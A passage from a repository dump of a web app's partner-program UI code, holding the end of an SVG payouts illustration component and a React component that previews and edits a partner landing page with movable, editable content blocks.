xmlSpace=\"preserve\"\n                    fill=\"#171717\"\n                    fontSize=\"6\"\n                    fontWeight=\"600\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"788.833\" y=\"598.682\">\n                      Payouts\n                    </tspan>\n                  </text>\n                  <g\n                    stroke=\"#A1A1A1\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"0.952\"\n                    clipPath={`url(#${id}-M)`}\n                  >\n                    <path d=\"M791.373 609.143v-1.905m2.063 0v-1.905m0 5.715v-1.905\" />\n                  </g>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#737373\"\n                    fontFamily=\"Geist Mono\"\n                    fontSize=\"7.619\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"0em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"798.992\" y=\"610.667\">\n                      09999-110\n                    </tspan>\n                  </text>\n                  <rect\n                    width=\"21\"\n                    height=\"21\"\n                    x=\"827.333\"\n                    y=\"633.5\"\n                    fill=\"#fff\"\n                    stroke=\"#E6E6E6\"\n                    rx=\"5.5\"\n                  />\n                  <path\n                    stroke=\"#737373\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    d=\"M837.833 644.222a1.556 1.556 0 1 0 0-3.111 1.556 1.556 0 0 0 0 3.111\"\n                  />\n                  <path\n                    stroke=\"#737373\"\n                    strokeLinecap=\"round\"\n                    strokeLinejoin=\"round\"\n                    strokeWidth=\"1.5\"\n                    d=\"M841.167 637.556H834.5c-.982 0-1.778.795-1.778 1.777v9.334c0 .981.796 1.777 1.778 1.777h6.667c.981 0 1.777-.796 1.777-1.777v-9.334c0-.982-.796-1.777-1.777-1.777m-5.112 9.333h3.556\"\n                  />\n                  <path stroke=\"#E6E6E6\" d=\"M837.833 627v6\" />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#000\"\n                    fontSize=\"16\"\n                    fontWeight=\"600\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"773.833\" y=\"699.818\">\n                      Receive earnings\n                    </tspan>\n                  </text>\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#525252\"\n                    fontSize=\"14\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"714.429\" y=\"733.091\">\n                      After your payouts are connected, you’ll{\" \"}\n                    </tspan>\n                    <tspan x=\"720.575\" y=\"753.091\">\n                      get paid out automatically for all your{\" \"}\n                    </tspan>\n                    <tspan x=\"819.751\" y=\"773.091\">\n                      sales.{\" \"}\n                    </tspan>\n                  </text>\n                  <path\n                    fill=\"#171717\"\n                    d=\"M704.667 804a6 6 0 0 1 6-6H965a6 6 0 0 1 6 6v28a6 6 0 0 1-6 6H710.667a6 6 0 0 1-6-6z\"\n                  />\n                  <text\n                    xmlSpace=\"preserve\"\n                    fill=\"#fff\"\n                    fontSize=\"14\"\n                    fontWeight=\"500\"\n                    letterSpacing=\"-.02em\"\n                    style={{ whiteSpace: \"pre\" }}\n                  >\n                    <tspan x=\"782.843\" y=\"823.091\">\n                      Connect payouts\n                    </tspan>\n                  </text>\n                  <defs>\n                    <filter\n                      id={`${id}-b`}\n                      width=\"112.522\"\n                      height=\"25\"\n                      x=\"880.885\"\n                      y=\"243\"\n                      colorInterpolationFilters=\"sRGB\"\n                      filterUnits=\"userSpaceOnUse\"\n                    >\n                      <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n                      <feColorMatrix\n                        in=\"SourceAlpha\"\n                        result=\"hardAlpha\"\n                        values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                      />\n                      <feMorphology\n                        in=\"SourceAlpha\"\n                        operator=\"dilate\"\n                        radius=\"2\"\n                        result=\"effect1_dropShadow_20_283\"\n                      />\n                      <feOffset />\n                      <feComposite in2=\"hardAlpha\" operator=\"out\" />\n                      <feColorMatrix values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.04 0\" />\n                      <feBlend\n                        in2=\"BackgroundImageFix\"\n                        result=\"effect1_dropShadow_20_283\"\n                      />\n                      <feBlend\n                        in=\"SourceGraphic\"\n                        in2=\"effect1_dropShadow_20_283\"\n                        result=\"shape\"\n                      />\n                    </filter>\n                    <filter\n                      id={`${id}-e`}\n                      width=\"40.75\"\n                      height=\"40.75\"\n                      x=\"704.625\"\n                      y=\"52.625\"\n                      colorInterpolationFilters=\"sRGB\"\n                      filterUnits=\"userSpaceOnUse\"\n                    >\n                      <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n                      <feBlend\n                        in=\"SourceGraphic\"\n                        in2=\"BackgroundImageFix\"\n                        result=\"shape\"\n                      />\n                      <feColorMatrix\n                        in=\"SourceAlpha\"\n                        result=\"hardAlpha\"\n                        values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                      />\n                      <feOffset />\n                      <feGaussianBlur stdDeviation=\"6\" />\n                      <feComposite\n                        in2=\"hardAlpha\"\n                        k2=\"-1\"\n                        k3=\"1\"\n                        operator=\"arithmetic\"\n                      />\n                      <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\" />\n                      <feBlend\n                        in2=\"shape\"\n                        result=\"effect1_innerShadow_20_283\"\n                      />\n                    </filter>\n                    <filter\n                      id={`${id}-g`}\n                      width=\"40.75\"\n                      height=\"40.75\"\n                      x=\"944.625\"\n                      y=\"212.625\"\n                      colorInterpolationFilters=\"sRGB\"\n                      filterUnits=\"userSpaceOnUse\"\n                    >\n                      <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n                      <feBlend\n                        in=\"SourceGraphic\"\n                        in2=\"BackgroundImageFix\"\n                        result=\"shape\"\n                      />\n                      <feColorMatrix\n                        in=\"SourceAlpha\"\n                        result=\"hardAlpha\"\n                        values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                      />\n                      <feOffset />\n                      <feGaussianBlur stdDeviation=\"6\" />\n                      <feComposite\n                        in2=\"hardAlpha\"\n                        k2=\"-1\"\n                        k3=\"1\"\n                        operator=\"arithmetic\"\n                      />\n                      <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\" />\n                      <feBlend\n                        in2=\"shape\"\n                        result=\"effect1_innerShadow_20_283\"\n                      />\n                    </filter>\n                    <filter\n                      id={`${id}-i`}\n                      width=\"160.75\"\n                      height=\"160.75\"\n                      x=\"766.625\"\n                      y=\"72.625\"\n                      colorInterpolationFilters=\"sRGB\"\n                      filterUnits=\"userSpaceOnUse\"\n                    >\n                      <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n                      <feBlend\n                        in=\"SourceGraphic\"\n                        in2=\"BackgroundImageFix\"\n                        result=\"shape\"\n                      />\n                      <feColorMatrix\n                        in=\"SourceAlpha\"\n                        result=\"hardAlpha\"\n                        values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                      />\n                      <feOffset />\n                      <feGaussianBlur stdDeviation=\"6\" />\n                      <feComposite\n                        in2=\"hardAlpha\"\n                        k2=\"-1\"\n                        k3=\"1\"\n                        operator=\"arithmetic\"\n                      />\n                      <feColorMatrix values=\"0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0.5 0\" />\n                      <feBlend\n                        in2=\"shape\"\n                        result=\"effect1_innerShadow_20_283\"\n                      />\n                    </filter>\n                    <filter\n                      id={`${id}-k`}\n                      width=\"100\"\n                      height=\"100\"\n                      x=\"797\"\n                      y=\"103\"\n                      colorInterpolationFilters=\"sRGB\"\n                      filterUnits=\"userSpaceOnUse\"\n                    >\n                      <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n                      <feColorMatrix\n                        in=\"SourceAlpha\"\n                        result=\"hardAlpha\"\n                        values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n                      />\n                      <feOffset />\n                      <feGaussianBlur stdDeviation=\"5\" />\n                      <feColorMatrix values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.25 0\" />\n                      <feBlend\n                        in2=\"BackgroundImageFix\"\n                        result=\"effect1_dropShadow_20_283\"\n                      />\n                      <feBlend\n                        in=\"SourceGraphic\"\n                        in2=\"effect1_dropShadow_20_283\"\n                        result=\"shape\"\n                      />\n                    </filter>\n                    <filter\n                      id={`${id}-n`}\n                      width=\"787\"\n                      height=\"820\"\n                      x=\"324\"\n                      y=\"-256.998\"\n                      colorInterpolationFilters=\"sRGB\"\n                      filterUnits=\"userSpaceOnUse\"\n                    >\n                      <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n                      <feBlend\n                        in=\"SourceGraphic\"\n                        in2=\"BackgroundImageFix\"\n                        result=\"shape\"\n                      />\n                      <feGaussianBlur\n                        result=\"effect1_foregroundBlur_20_283\"\n                        stdDeviation=\"50\"\n                      />\n                    </filter>\n                    <filter\n                      id={`${id}-o`}\n                      width=\"827\"\n                      height=\"709.205\"\n                      x=\"304.001\"\n                      y=\"-183.707\"\n                      colorInterpolationFilters=\"sRGB\"\n                      filterUnits=\"userSpaceOnUse\"\n                    >\n                      <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n                      <feBlend\n                        in=\"SourceGraphic\"\n                        in2=\"BackgroundImageFix\"\n                        result=\"shape\"\n                      />\n                      <feGaussianBlur\n                        result=\"effect1_foregroundBlur_20_283\"\n                        stdDeviation=\"60\"\n                      />\n                    </filter>\n                    <linearGradient\n                      id={`${id}-f`}\n                      x1=\"725\"\n                      x2=\"725\"\n                      y1=\"93\"\n                      y2=\"53\"\n                      gradientUnits=\"userSpaceOnUse\"\n                    >\n                      <stop stopColor=\"#fff\" stopOpacity=\"0.23\" />\n                      <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0.3\" />\n                    </linearGradient>\n                    <linearGradient\n                      id={`${id}-h`}\n                      x1=\"965\"\n                      x2=\"965\"\n                      y1=\"253\"\n                      y2=\"213\"\n                      gradientUnits=\"userSpaceOnUse\"\n                    >\n                      <stop stopColor=\"#fff\" stopOpacity=\"0.23\" />\n                      <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0.3\" />\n                    </linearGradient>\n                    <linearGradient\n                      id={`${id}-j`}\n                      x1=\"847\"\n                      x2=\"847\"\n                      y1=\"233\"\n                      y2=\"73\"\n                      gradientUnits=\"userSpaceOnUse\"\n                    >\n                      <stop stopColor=\"#fff\" stopOpacity=\"1.0\" />\n                      <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"1.0\" />\n                    </linearGradient>\n                    <linearGradient\n                      id={`${id}-l`}\n                      x1=\"467.582\"\n                      x2=\"858.35\"\n                      y1=\"153\"\n                      y2=\"-43.164\"\n                      gradientUnits=\"userSpaceOnUse\"\n                    >\n                      <stop stopColor=\"#FAFAFA\" />\n                      <stop offset=\"1\" stopColor=\"#FAFAFA\" stopOpacity=\"0\" />\n                    </linearGradient>\n                    <linearGradient\n                      id={`${id}-q`}\n                      x1=\"95.167\"\n                      x2=\"95.167\"\n                      y1=\"0\"\n                      y2=\"52\"\n                      gradientUnits=\"userSpaceOnUse\"\n                    >\n                      <stop offset=\"0.2\" stopColor=\"#fff\" />\n                      <stop offset=\"0.955\" stopColor=\"#fff\" stopOpacity=\"0\" />\n                    </linearGradient>\n                    <linearGradient\n                      id={`${id}-t`}\n                      x1=\"95.167\"\n                      x2=\"95.167\"\n                      y1=\"0\"\n                      y2=\"52\"\n                      gradientUnits=\"userSpaceOnUse\"\n                    >\n                      <stop offset=\"0.2\" stopColor=\"#fff\" />\n                      <stop offset=\"0.955\" stopColor=\"#fff\" stopOpacity=\"0\" />\n                    </linearGradient>\n                    <linearGradient\n                      id={`${id}-v`}\n                      x1=\"95.167\"\n                      x2=\"95.167\"\n                      y1=\"0\"\n                      y2=\"52\"\n                      gradientUnits=\"userSpaceOnUse\"\n                    >\n                      <stop offset=\"0.2\" stopColor=\"#fff\" />\n                      <stop offset=\"0.955\" stopColor=\"#fff\" stopOpacity=\"0\" />\n                    </linearGradient>\n                    <clipPath id={`${id}-a`}>\n                      <rect\n                        width=\"983\"\n                        height=\"258\"\n                        x=\"24\"\n                        y=\"24\"\n                        fill=\"#fff\"\n                        rx=\"8\"\n                      />\n                    </clipPath>\n                    <clipPath id={`${id}-y`}>\n                      <use\n                        xlinkHref={`#${id}-N`}\n                        transform=\"translate(233.167 561)\"\n                      />\n                    </clipPath>\n                    <clipPath id={`${id}-z`}>\n                      <use\n                        xlinkHref={`#${id}-N`}\n                        transform=\"translate(137.167 593)\"\n                      />\n                    </clipPath>\n                    <clipPath id={`${id}-A`}>\n                      <use\n                        xlinkHref={`#${id}-N`}\n                        transform=\"translate(169.167 625)\"\n                      />\n                    </clipPath>\n                    <clipPath id={`${id}-K`}>\n                      <use\n                        xlinkHref={`#${id}-N`}\n                        transform=\"translate(151.167 810)\"\n                      />\n                    </clipPath>\n                    <clipPath id={`${id}-L`}>\n                      <use\n                        xlinkHref={`#${id}-N`}\n                        transform=\"translate(486.5 556)\"\n                      />\n                    </clipPath>\n                    <clipPath id={`${id}-M`}>\n                      <path\n                        fill=\"#fff\"\n                        d=\"M788.833 604.381h7.619V612h-7.619z\"\n                      />\n                    </clipPath>\n                    <radialGradient\n                      id={`${id}-c`}\n                      cx=\"0\"\n                      cy=\"0\"\n                      r=\"1\"\n                      gradientTransform=\"rotate(90 345.5 499)scale(159.5)\"\n                      gradientUnits=\"userSpaceOnUse\"\n                    >\n                      <stop offset=\"0.73\" stopColor=\"#fff\" />\n                      <stop offset=\"1\" stopColor=\"#fff\" stopOpacity=\"0\" />\n                    </radialGradient>\n                    <pattern\n                      id={`${id}-smallGrid`}\n                      width=\"20\"\n                      height=\"20\"\n                      patternUnits=\"userSpaceOnUse\"\n                    >\n                      <path\n                        d=\"M 20 0 L 0 0 0 20\"\n                        fill=\"none\"\n                        stroke=\"#0004\"\n                        strokeWidth=\"0.5\"\n                      />\n                    </pattern>\n                    <pattern\n                      id={`${id}-grid`}\n                      width=\"160\"\n                      height=\"160\"\n                      patternUnits=\"userSpaceOnUse\"\n                      x=\"-14\"\n                      y=\"-8\"\n                    >\n                      <rect\n                        width=\"160\"\n                        height=\"160\"\n                        fill={`url(#${id}-smallGrid)`}\n                      />\n                      <path\n                        d=\"M 160 0 L 0 0 0 160\"\n                        fill=\"none\"\n                        stroke=\"#0001\"\n                        strokeWidth=\"1\"\n                      />\n                    </pattern>\n\n                    {/* Grid gradient cover */}\n                    <linearGradient\n                      id={`${id}-aq`}\n                      x1=\"188\"\n                      x2=\"700\"\n                      y1=\"410\"\n                      y2=\"25.44\"\n                      gradientUnits=\"userSpaceOnUse\"\n                    >\n                      <stop stopColor=\"#FAFAFA\" />\n                      <stop offset=\"0.489\" stopColor=\"#FAFAFA\" />\n                      <stop offset=\"1\" stopColor=\"#FAFAFA\" stopOpacity=\"0\" />\n                    </linearGradient>\n                    {/* Rainbow chart line gradient */}\n                    <linearGradient\n                      id={`${id}-color-gradient`}\n                      x1=\"0\"\n                      x2=\"1\"\n                      gradientUnits=\"objectBoundingBox\"\n                    >\n                      <stop offset=\"0%\" stopColor=\"#7D3AEC\" stopOpacity=\"1\" />\n                      <stop offset=\"100%\" stopColor=\"#DA2778\" stopOpacity=\"1\" />\n                    </linearGradient>\n                  </defs>\n                </svg>\n              </div>\n            </div>\n          </div>\n        </div>\n      </PreviewWindow>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/groups/design/previews/lander-preview.tsx",
    "content": "\"use client\";\n\nimport { getGroupRewardsAndDiscount } from \"@/lib/partners/get-group-rewards-and-discount\";\nimport { GroupWithProgramProps, ProgramLanderData } from \"@/lib/types\";\nimport { useEditHeroModal } from \"@/ui/partners/groups/design/lander/modals/edit-hero-modal\";\nimport { PreviewWindow } from \"@/ui/partners/groups/design/preview-window\";\nimport { BLOCK_COMPONENTS } from \"@/ui/partners/lander/blocks\";\nimport { LanderHero } from \"@/ui/partners/lander/lander-hero\";\nimport { LanderRewards } from \"@/ui/partners/lander/lander-rewards\";\nimport {\n  Button,\n  CircleInfo,\n  Grid,\n  LoadingSpinner,\n  Pen2,\n  Plus2,\n  Tooltip,\n  Trash,\n  useMediaQuery,\n  useScroll,\n  Wordmark,\n} from \"@dub/ui\";\nimport { cn, PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { ArrowDown, ArrowUp } from \"lucide-react\";\nimport {\n  CSSProperties,\n  PropsWithChildren,\n  useCallback,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport { useBrandingContext } from \"../branding-context-provider\";\nimport { useBrandingFormContext } from \"../branding-form\";\nimport { LanderAIBanner } from \"../lander/lander-ai-banner\";\nimport { LanderPreviewControls } from \"../lander/lander-preview-controls\";\nimport {\n  AddBlockModal,\n  DESIGNER_BLOCKS,\n} from \"../lander/modals/add-block-modal\";\n\nexport function LanderPreview({ group }: { group: GroupWithProgramProps }) {\n  const program = group.program;\n  const { isMobile } = useMediaQuery();\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const scrolled = useScroll(0, { container: scrollRef });\n\n  const { isGeneratingLander } = useBrandingContext();\n\n  const { rewards, discount } = getGroupRewardsAndDiscount(group);\n\n  const { setValue, getValues } = useBrandingFormContext();\n  const { landerData, brandColor, logo, wordmark } = {\n    ...useWatch(),\n    ...getValues(),\n  };\n\n  const updateBlocks = useCallback(\n    (\n      fn: (blocks: ProgramLanderData[\"blocks\"]) => ProgramLanderData[\"blocks\"],\n    ) => {\n      return setValue(\n        \"landerData\",\n        {\n          ...landerData,\n          blocks: fn([...landerData.blocks]),\n        },\n        {\n          shouldDirty: true,\n        },\n      );\n    },\n    [landerData],\n  );\n\n  const { setShowEditHeroModal, EditHeroModal } = useEditHeroModal();\n\n  const [addBlockIndex, setAddBlockIndex] = useState<number | null>(null);\n  const [editingBlockId, setEditingBlockId] = useState<string | null>(null);\n\n  const [editingBlock, editingBlockMeta] = useMemo(() => {\n    if (!editingBlockId) return [null, null];\n\n    const block = landerData.blocks.find(\n      (block) => block.id === editingBlockId,\n    );\n\n    return [block, DESIGNER_BLOCKS.find((b) => b.id === block?.type)];\n  }, [landerData, editingBlockId]);\n\n  const [touchedBlockId, setTouchedBlockId] = useState<\n    string | \"hero\" | \"rewards\" | null\n  >(null);\n\n  const previewUrl =\n    group.slug === \"default\"\n      ? `${PARTNERS_DOMAIN}/${program.slug}`\n      : `${PARTNERS_DOMAIN}/${program.slug}/${group.slug}`;\n\n  return (\n    <>\n      {editingBlock && editingBlockMeta && (\n        <editingBlockMeta.modal\n          defaultValues={editingBlock.data}\n          showModal={true}\n          setShowModal={(show) => !show && setEditingBlockId(null)}\n          onSubmit={(data) => {\n            updateBlocks((blocks) => {\n              blocks[blocks.findIndex((b) => b.id === editingBlockId)].data =\n                data;\n              return blocks;\n            });\n            setTouchedBlockId(null);\n          }}\n        />\n      )}\n      <EditHeroModal />\n      <AddBlockModal\n        addIndex={addBlockIndex ?? 0}\n        showAddBlockModal={addBlockIndex !== null}\n        setShowAddBlockModal={(show) => {\n          if (!show) {\n            setAddBlockIndex(null);\n            setTouchedBlockId(null);\n          }\n        }}\n      />\n      <LanderAIBanner />\n      <PreviewWindow\n        url={previewUrl}\n        scrollRef={scrollRef}\n        controls={<LanderPreviewControls />}\n        overlay={\n          <div\n            className={cn(\n              \"absolute inset-0 flex items-center justify-center bg-white/10\",\n              \"pointer-events-none opacity-0 transition-[backdrop-filter,opacity] duration-500\",\n              isGeneratingLander &&\n                \"pointer-events-auto opacity-100 backdrop-blur-md\",\n            )}\n            inert={!isGeneratingLander}\n          >\n            <div\n              className={cn(\n                \"flex flex-col items-center gap-6 px-4 text-center text-sm transition-transform duration-500 sm:gap-2\",\n                !isGeneratingLander && \"translate-y-1\",\n              )}\n            >\n              <div className=\"text-content-default flex items-center\">\n                <LoadingSpinner className=\"mr-2 size-3.5 shrink-0\" />\n                <span className=\"text-sm font-medium\">Generating content</span>\n                <span className=\"ml-px shrink-0\">\n                  {[...Array(3)].map((_, i) => (\n                    <span\n                      key={i}\n                      className=\"animate-ellipsis-wave inline-block\"\n                      style={{\n                        animationDelay: `${3 - i * -0.15}s`,\n                      }}\n                    >\n                      .\n                    </span>\n                  ))}\n                </span>\n              </div>\n\n              <div className=\"text-content-subtle flex flex-col items-center gap-1 sm:flex-row\">\n                <CircleInfo className=\"size-3 shrink-0\" />\n                <span className=\"text-xs font-medium\">\n                  Review all generated content for accuracy and style\n                </span>\n              </div>\n            </div>\n          </div>\n        }\n      >\n        <div className=\"relative z-0 mx-auto min-h-screen w-full bg-white\">\n          <div\n            style={\n              {\n                \"--brand\": brandColor || \"#000000\",\n                \"--brand-ring\": \"rgb(from var(--brand) r g b / 0.2)\",\n              } as CSSProperties\n            }\n          >\n            <header\n              className={\"sticky top-0 z-10 bg-white/90 backdrop-blur-sm\"}\n            >\n              <div className=\"mx-auto flex max-w-screen-sm items-center justify-between px-6 py-4\">\n                {/* Bottom border when scrolled */}\n                <div\n                  className={cn(\n                    \"absolute inset-x-0 bottom-0 h-px bg-neutral-200 opacity-0 transition-opacity duration-300 [mask-image:linear-gradient(90deg,transparent,black,transparent)]\",\n                    scrolled && \"opacity-100\",\n                  )}\n                />\n\n                <div className=\"animate-fade-in my-0.5 block\">\n                  {wordmark || logo ? (\n                    <img\n                      className=\"max-h-7 max-w-32\"\n                      src={(wordmark ?? logo) as string}\n                    />\n                  ) : (\n                    <Wordmark className=\"h-7\" />\n                  )}\n                </div>\n\n                <div className=\"flex items-center gap-2\" inert>\n                  <Button\n                    type=\"button\"\n                    variant=\"secondary\"\n                    text=\"Log in\"\n                    className=\"animate-fade-in h-8 w-fit text-neutral-600\"\n                  />\n                  <Button\n                    type=\"button\"\n                    text=\"Apply\"\n                    className=\"animate-fade-in h-8 w-fit border-[var(--brand)] bg-[var(--brand)] hover:bg-[var(--brand)] hover:ring-[var(--brand-ring)]\"\n                  />\n                </div>\n              </div>\n            </header>\n\n            {/* Hero */}\n            <div\n              className=\"group relative mt-6\"\n              data-touched={touchedBlockId === \"hero\"}\n              onClick={() => isMobile && setTouchedBlockId(\"hero\")}\n            >\n              <EditIndicatorGrid />\n              <EditToolbar onEdit={() => setShowEditHeroModal(true)} />\n              <div className=\"mx-auto max-w-screen-sm\">\n                <div className=\"px-6\">\n                  <LanderHero program={program} landerData={landerData} />\n                </div>\n              </div>\n            </div>\n\n            {/* Program rewards */}\n            <div className=\"mx-auto mb-1 mt-6 max-w-screen-sm\">\n              <div className=\"px-6\">\n                <LanderRewards\n                  rewards={rewards}\n                  discount={discount}\n                  bounties={group.bounties}\n                />\n              </div>\n            </div>\n\n            {/* Buttons */}\n            <div className=\"mx-auto max-w-screen-sm\">\n              <div className=\"px-6\">\n                <div\n                  className=\"animate-scale-in-fade mt-6 flex flex-col gap-2 [animation-delay:400ms] [animation-fill-mode:both]\"\n                  inert\n                >\n                  <Button\n                    type=\"button\"\n                    text=\"Apply today\"\n                    className=\"border-[var(--brand)] bg-[var(--brand)] hover:bg-[var(--brand)] hover:ring-[var(--brand-ring)]\"\n                  />\n                </div>\n              </div>\n            </div>\n\n            {/* Content blocks */}\n            <div className=\"relative z-0 my-6 grid grid-cols-1\">\n              {landerData?.blocks.map((block, idx) => {\n                const Component = BLOCK_COMPONENTS[block.type];\n                return Component ? (\n                  <div\n                    key={block.id}\n                    className=\"group relative py-10\"\n                    data-touched={touchedBlockId === block.id}\n                    onClick={() => isMobile && setTouchedBlockId(block.id)}\n                  >\n                    <EditIndicatorGrid />\n\n                    {/* Edit toolbar */}\n                    <EditToolbar\n                      onEdit={() => setEditingBlockId(block.id)}\n                      onMoveUp={\n                        idx !== 0\n                          ? () =>\n                              updateBlocks((blocks) =>\n                                moveItem(blocks, idx, idx - 1),\n                              )\n                          : undefined\n                      }\n                      onMoveDown={\n                        idx !== landerData.blocks.length - 1\n                          ? () =>\n                              updateBlocks((blocks) =>\n                                moveItem(blocks, idx, idx + 1),\n                              )\n                          : undefined\n                      }\n                      onDelete={() =>\n                        updateBlocks((blocks) => blocks.toSpliced(idx, 1))\n                      }\n                    />\n\n                    {/* Insert block button */}\n                    <div\n                      className={cn(\n                        \"pointer-events-none absolute inset-0 opacity-0\",\n                        \"transition-opacity duration-150 group-hover:opacity-100 sm:group-has-[+div:hover]:opacity-100\",\n                        \"group-has-[+div[data-[touched=true]]]:opacity-100 group-data-[touched=true]:opacity-100\",\n                      )}\n                    >\n                      <div className=\"absolute inset-x-0 top-0 z-10 hidden group-first:block\">\n                        <div className=\"pointer-events-auto absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2\">\n                          <AddBlockButton\n                            onClick={() => setAddBlockIndex(idx)}\n                          />\n                        </div>\n                      </div>\n                      <div className=\"absolute inset-x-0 bottom-0 z-10\">\n                        <div className=\"pointer-events-auto absolute left-1/2 top-1/2 -translate-x-1/2 -translate-y-1/2\">\n                          <AddBlockButton\n                            onClick={() => setAddBlockIndex(idx + 1)}\n                          />\n                        </div>\n                      </div>\n                    </div>\n\n                    <div className=\"relative mx-auto max-w-screen-sm\" inert>\n                      <div className=\"px-6\">\n                        <Component block={block} group={group} />\n                      </div>\n                    </div>\n                  </div>\n                ) : null;\n              })}\n\n              {!landerData?.blocks?.length && (\n                <div className=\"group/empty relative py-10\">\n                  <div className=\"border-subtle pointer-events-none absolute inset-y-0 left-1/2 w-[1080px] max-w-[calc(100cqw-32px)] -translate-x-1/2 overflow-hidden rounded-xl border opacity-40 transition-opacity duration-300 ease-out group-hover/empty:opacity-100\">\n                    <Grid\n                      cellSize={60}\n                      className=\"text-border-subtle inset-[unset] left-1/2 top-1/2 h-[max(1200px,100%)] w-[1200px] -translate-x-1/2 -translate-y-1/2\"\n                    />\n                  </div>\n                  <div className=\"relative flex justify-center\">\n                    <AddBlockButton onClick={() => setAddBlockIndex(0)} />\n                  </div>\n                </div>\n              )}\n            </div>\n          </div>\n        </div>\n      </PreviewWindow>\n    </>\n  );\n}\n\nfunction AddBlockButton({ onClick }: { onClick: () => void }) {\n  return (\n    <Button\n      type=\"button\"\n      text=\"Insert block\"\n      onClick={onClick}\n      icon={<Plus2 className=\"size-2.5\" />}\n      variant=\"secondary\"\n      className=\"h-6 w-fit gap-1 px-2.5 text-xs\"\n    />\n  );\n}\n\nfunction EditIndicatorGrid() {\n  return (\n    <div\n      className={cn(\n        \"border-subtle pointer-events-none absolute inset-y-0 left-1/2 w-[1080px] max-w-[calc(100cqw-32px)] -translate-x-1/2 overflow-hidden rounded-xl border\",\n        \"opacity-0 transition-opacity duration-150 group-hover:opacity-100 group-data-[touched=true]:opacity-100\",\n      )}\n    >\n      <Grid\n        cellSize={60}\n        className=\"text-border-subtle inset-[unset] left-1/2 top-1/2 h-[max(1200px,100%)] w-[1200px] -translate-x-1/2 -translate-y-1/2\"\n      />\n    </div>\n  );\n}\n\nfunction EditToolbar({\n  onEdit,\n  onMoveUp,\n  onMoveDown,\n  onDelete,\n}: {\n  onEdit?: () => void;\n  onMoveUp?: () => void;\n  onMoveDown?: () => void;\n  onDelete?: () => void;\n}) {\n  return (\n    <div\n      className={cn(\n        \"pointer-events-none absolute inset-0 z-[5] opacity-0 transition-opacity duration-150\",\n        \"group-hover:pointer-events-auto group-hover:opacity-100\",\n        \"group-data-[touched=true]:pointer-events-auto group-data-[touched=true]:opacity-100\",\n      )}\n    >\n      <div className=\"absolute right-6 top-2\">\n        <div className=\"flex items-center rounded-md border border-neutral-200 bg-white p-1 shadow-sm\">\n          {onEdit && (\n            <EditToolbarTooltip content=\"Edit\">\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                icon={<Pen2 className=\"size-4\" />}\n                className=\"size-7 rounded p-0\"\n                onClick={onEdit}\n              />\n            </EditToolbarTooltip>\n          )}\n          {onMoveUp && (\n            <EditToolbarTooltip content=\"Move up\">\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                icon={<ArrowUp className=\"size-4\" />}\n                className=\"size-7 rounded p-0\"\n                onClick={onMoveUp}\n              />\n            </EditToolbarTooltip>\n          )}\n          {onMoveDown && (\n            <EditToolbarTooltip content=\"Move down\">\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                icon={<ArrowDown className=\"size-4\" />}\n                className=\"size-7 rounded p-0\"\n                onClick={onMoveDown}\n              />\n            </EditToolbarTooltip>\n          )}\n          {onDelete && (\n            <EditToolbarTooltip content=\"Delete\">\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                icon={<Trash className=\"size-4\" />}\n                className=\"size-7 rounded p-0\"\n                onClick={onDelete}\n              />\n            </EditToolbarTooltip>\n          )}\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction EditToolbarTooltip({\n  content,\n  children,\n}: PropsWithChildren<{ content: string }>) {\n  return (\n    <Tooltip\n      content={\n        <div className=\"px-2 py-1 text-xs text-neutral-600\">{content}</div>\n      }\n      disableHoverableContent\n    >\n      <div>{children}</div>\n    </Tooltip>\n  );\n}\n\nconst moveItem = <T extends any>(array: T[], from: number, to: number) => {\n  const newArray = array.slice();\n  newArray.splice(to, 0, newArray.splice(from, 1)[0]);\n  return newArray;\n};\n"
  },
  {
